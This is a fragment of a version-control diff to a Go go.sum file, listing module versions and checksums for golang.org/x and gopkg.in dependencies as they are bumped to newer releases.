golang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=
|
||||
golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190530122614-20be4c3c3ed5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190701094942-4def268fd1a4/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc=
|
||||
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
|
||||
golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
|
||||
golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
|
||||
golang.org/x/lint v0.0.0-20210508222113-6edffad5e616/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
|
||||
golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
|
||||
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
|
||||
golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.5.1 h1:OJxoQ/rynoF0dcCdI7cLPktw/hR2cueqYfjm43oqK38=
|
||||
golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 h1:6zppjxzCulZykYSLyVDYbneBfbaBIQPYMevg0bEwv2s=
|
||||
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
|
||||
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
|
||||
golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
|
||||
golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
@@ -450,8 +347,10 @@ golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g=
|
||||
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20211005180243-6b3c2da341f1 h1:B333XXssMuKQeBwiNODx4TupZy7bf4sxFZnN2ZOcvUE=
|
||||
@@ -461,24 +360,18 @@ golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJ
|
||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
|
||||
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.1.0 h1:wsuoTGHzEhffawBOhz5CYhcrV4IdKZbEyZjBMuTp12o=
|
||||
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190530182044-ad28b68e88f1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -486,11 +379,8 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20201009025420-dfb3f7c4e634/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
@@ -498,9 +388,7 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211103235746-7861aae1554b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211110154304-99a53858aa08/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
@@ -511,50 +399,40 @@ golang.org/x/sys v0.0.0-20220422013727-9388b58f7150/go.mod h1:oPkhp1MJrh7nUepCBc
|
||||
golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU=
|
||||
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.0.0-20210503060354-a79de5458b56/go.mod h1:tfny5GFUkzUvx4ps4ajbZsCe5lw1metzhBm9T3x7oIY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY=
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba h1:O8mE0/t419eoIwhTFpKVkHiTs/Igowgfkj25AcZrtiE=
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
||||
golang.org/x/tools v0.0.0-20190425163242-31fd60d6bfdc/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
||||
golang.org/x/tools v0.0.0-20190823170909-c4a336ef6a2f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
|
||||
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
|
||||
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
|
||||
golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
golang.org/x/tools v0.1.9 h1:j9KsMiaP1c3B0OTQGth0/k+miLGTgLsAFUCrF2vLcF8=
|
||||
golang.org/x/tools v0.1.9/go.mod h1:nABZi5QlRsZVlzPpHl034qft6wpY4eDcsTt5AaioBiU=
|
||||
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU=
|
||||
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
|
||||
@@ -603,176 +481,60 @@ gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2w
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b h1:QRR6H1YWRnHb4Y/HeNFCTJLFVxaq6wH4YuVdsUOr75U=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
